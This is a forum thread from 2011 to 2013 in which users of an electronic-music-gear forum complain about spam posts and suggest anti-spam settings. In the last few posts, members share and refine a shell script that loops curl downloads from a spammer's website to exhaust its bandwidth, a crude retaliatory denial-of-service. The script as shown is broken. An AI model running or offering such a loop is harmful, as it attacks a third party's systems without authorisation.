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## Spam posts on the forum

Posted by Nils - 2011/10/07 17:05

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I understand the fun in commenting on spam posts when they appear in existing threads, just beware that your jokes might look a bit strange after the spam post has been deleted :)

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## Re:Spam posts on the forum

Posted by dubathonic - 2011/10/07 23:39

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Nils wrote:

The last months have seen an invasion of spammers on the forum selling green laser pointers. Since there necessarily aren't mods logged on 24-7 to order green laser pointers for all of us, spam posts as well as links to green laser pointer merchants are deleted manually as we detect them.

I understand the fun in commenting on spam posts for laser pointers when they appear in existing threads, just beware that your jokes might look a bit strange after the spam post has been deleted :)

Thanks for the heads up, Nils. So that no one gets confused, we should make sure our replies quote the original post in full and with no edits whatsoever.

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## Re:Spam posts on the forum

Posted by Amanita - 2011/10/08 00:15

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:laugh:

I sort of miss the laser pointer idiot....

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## Re:Spam posts on the forum

Posted by cosmosuave - 2011/10/17 21:40

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Site got blasted last night....

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## Re:Spam posts on the forum

Posted by neonleg - 2011/10/29 17:32

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Amanita wrote:

:laugh:

I sort of miss the laser pointer idiot....

fully, its like he genuinely tried to advertise in an electronics forum but had no idea wtf elektron was about.

but this new hitsquad of rapists are taking the piss for sure

or.... could it be the same evil mind?

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## Re:Spam posts on the forum

Posted by Laitos - 2013/01/26 18:35

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Again...

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## Re:Spam posts on the forum

Posted by wolfgang - 2013/01/28 13:30

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^ yea serious spam bot problem, which is a different beast then real person spammers, a la laser pointer guy (I missed that whole thing).

This may already be on but have one of you admins done the following:

Go to Components > Fireboard Forum > Fireboard Configuration > Security and set 'Spam protect system' to 'Yes'.

Otherwise there might be a joomla / fireboard plugin that would add some functionality to the registration process that keeps the bots at bay, like a captcha or such.

I'd be happy to help as well.

Damn robots. :angry: I mean most of them are cool and all but some are such assholes. ;)

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## Re:Spam posts on the forum

Posted by Nils - 2013/01/28 13:45

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Thanks for the input Wolfgang. I'll pass it on to Elektron, who is now in charge of maintaining the site.

I'll reiterate for the ones that are unaware:

A new Elektron-owned forum is on its way (elektronauts.com). It's been expected for quite some time, but for various reasons it's been delayed (The A4 is one of those reasons). It's currently expected to be launched closer to the summer, I think.

Elektron-users will soon be history, hence the lack of sorely needed maintenance, updates and improvements. Our admin (RIP) was the only one who knew the code well, and Elektron's reasoning is that they find it more worthwhile finalizing elektronauts rather than spending dozens of hours improving elektron-users.

FYI: I'm fucking tired of deleting spam, so I won't be at your service today :gangsta:

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## Re:Spam posts on the forum

Posted by udenjoe - 2013/01/29 00:06

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BTW, anyone need some LV bags or some shit?

Thanks for your efforts Nils. :)

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## Re:Spam posts on the forum

Posted by blofeld\_manning - 2013/06/19 20:42

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Hi Nils,

I notice the 'kitchen' spam is rife at the moment.

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If you want some PHP filtering code written then I'm your man.

let me know.

Cheers

Jim

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## Re:Spam posts on the forum

Posted by natefrogg - 2013/06/19 22:13

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thousands of forums are being hit by the same kitchen spammer, google ranking manipulation seems to be working for them, pretty funny when you look into it imho albeit annoying

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## Re:Spam posts on the forum

Posted by m3lt594 - 2013/06/27 03:43

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pop this in your terminal, they are taking bandwidth and space away so i figured i could return the favor

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#!/bin/sh
x=1
y=0
while
do
    curl -o /dev/null http://www.kitchen-kitchen-kitchen.co.uk/assets/img/guarantee.mov
done
```

please share the link if you stumble upon large files that i can add to continually be downloaded

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## Re:Spam posts on the forum

Posted by CarstenW - 2013/06/28 05:04

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That didn't work on my Mac. This does:

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#!/bin/sh
x=1
y=0
while ; do
    curl -o /dev/null http://www.kitchen-kitchen-kitchen.co.uk/assets/img/guarantee.mov
done
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but there is nothing there to get, and the URL and domain don't react. What is the idea?

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## Re:Spam posts on the forum

Posted by poonti - 2013/06/28 05:41

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first of all, you'll want \$x -gt \$y, or nothing will happen...

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also make sure you're not near any DL limits so you don't get dinged....

finally, you'll need to turn off any web page caching, or you'll retrieve the page only once (and the cached version many times....not the intent of this...

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